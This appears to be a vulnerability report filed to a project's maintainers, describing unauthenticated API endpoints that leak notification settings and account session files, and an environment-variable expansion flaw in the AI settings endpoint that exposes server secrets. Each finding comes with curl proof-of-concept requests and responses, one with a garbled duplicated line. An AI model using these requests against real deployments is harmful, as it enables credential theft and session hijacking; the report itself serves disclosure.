The project contains multiple unauthorized access and credential leakage vulnerabilities.

[captain686]

[Security] Unauthenticated Sensitive Information Disclosure in /api/settings/notifications

• Description:

The endpoint /api/settings/notifications is accessible without authentication. It leaks sensitive configuration data, including notification service URLs and potential API tokens.

• Impact:

An attacker can retrieve internal system configurations and credentials without logging in, leading to Information Disclosure and Credential Leakage.

• POC

curl 'http://localhost:8000/api/settings/notifications' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
  -H 'Accept-Language: zh-CN,zh;q=0.9' \
  -H 'Cache-Control: max-age=0' \
  -H 'Connection: keep-alive' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36' \
  -H 'sec-gpc: 1' \
  --insecure


{"NTFY_TOPIC_URL":"http://test.com","GOTIFY_URL":"","GOTIFY_TOKEN":"","BARK_URL":"","WX_BOT_URL":"","TELEGRAM_BOT_TOKEN":"","TELEGRAM_CHAT_ID":"","TELEGRAM_API_BASE_URL":"https://api.telegram.org","WEBHOOK_URL":"","WEBHOOK_METHOD":"POST","WEBHOOK_HEADERS":"","WEBHOOK_CONTENT_TYPE":"JSON","WEBHOOK_QUERY_PARAMETERS":"{\"title\":\"{{title}}\",\"content\":\"{{content}}\"}","WEBHOOK_BODY":"{\"title\":\"{{title}}\",\"content\":\"{{content}}\"}","PCURL_TO_MOBILE":true,"WEBHOOK_URL_SET":false,"GOTIFY_TOKEN_SET":false,"WEBHOOK_HEADERS_SET":true,"TELEGRAM_BOT_TOKEN_SET":false,"WX_BOT_URL_SET":false,"BARK_URL_SET":false,"CONFIGURED_CHANNELS":["ntfy"]}

[Critical] Multiple Unauthenticated Information Disclosure (Account Sessions & State Files)

• Description:

I have discovered that the /api/accounts and /api/accounts/{name} endpoints are accessible without any authentication. These endpoints expose the existence of account state files and, more critically, the full content of session state files (JSON), which typically contain sensitive Cookies and Session Tokens.

• Impact:

Account Hijacking: Attackers can download the state.json content and import it into their own browsers/tools to hijack active sessions.

Mass Enumeration: The /api/accounts endpoint allows an attacker to list all managed accounts in the system.

• POC

 curl 'http://localhost:8000/api/accounts' \
  -H 'Accept: */*' \
  -H 'Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8' \
  -H 'Connection: keep-alive' \
  -b 'ISCHECKURLRISK=false' \
  -H 'Referer: http://172.16.0.114:8000/accounts' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36' \
  -H 'dnt: 1' \
  -H 'sec-gpc: 1' \
  --insecure


[{"name":"11111","path":"state/11111.json"},{"name":"1111111","path":"state/1111111.json"},{"name":"1212","path":"state/1212.json"}]

curl 'http://localhost:8000/api/accounts/1212' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
  -H 'Accept-Language: zh-CN,zh;q=0.9' \
  -H 'Cache-Control: max-age=0' \
  -H 'Connection: keep-alive' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36' \
  -H 'sec-gpc: 1' \
  --insecure

  
{"name":"1212","path":"state/1212.json","content":"{\"qsgbdvfdg\":\"sfdbfrytmtyuku,k\"}"}

[Critical] Environment Variable Leakage via Variable Expansion in AI Settings

• Description:

A security vulnerability exists in the /api/settings/ai endpoint where the configuration parser supports automatic variable expansion. An attacker can inject environment variable placeholders (e.g., ${ENV_VAR_NAME}) into configuration fields. When the configuration is retrieved, the server resolves these placeholders and leaks the sensitive values of the server's environment variables.

• Impact:

This allows any user (or an unauthenticated attacker, as the API lacks auth) to steal sensitive server-side information, such as:

Database credentials (DATABASE_URL)

Application secrets (SECRET_KEY)

External API keys (OPENAI_API_KEY, etc.)

• POC

curl 'http://localhost:8000/api/settings/ai' \
  -X 'PUT' \
  -H 'Accept: */*' \
  -H 'Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8' \
  -H 'Connection: keep-alive' \
  -b 'ISCHECKURLRISK=false' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36' \
  -H 'content-type: application/json' \
  -H 'dnt: 1' \
  -H 'sec-gpc: 1' \
  --data-raw '{"OPENAI_BASE_URL":"https://api-inference.modelscope.cn/v1/","OPENAI_MODEL_NAME":"${OPENAI_API_KEY}","SKIP_AI_ANALYSIS":false,"PROXY_URL":"","OPENAI_API_KEY":"this is api key"}' \
  --insecure
  
{"message":"AI设置已成功更新"}



curl 'http://localhost:8000/api/settings/ai' \alhost:8000/api/settings/ai' \
  -H 'Accept: */*' \
  -H 'Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8' \
  -H 'Connection: keep-alive' \
  -b 'ISCHECKURLRISK=false' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36' \
  -H 'dnt: 1' \
  -H 'sec-gpc: 1' \
  --insecure

{"OPENAI_BASE_URL":"https://api-inference.modelscope.cn/v1/","OPENAI_MODEL_NAME":"this is api key","SKIP_AI_ANALYSIS":false,"PROXY_URL":""}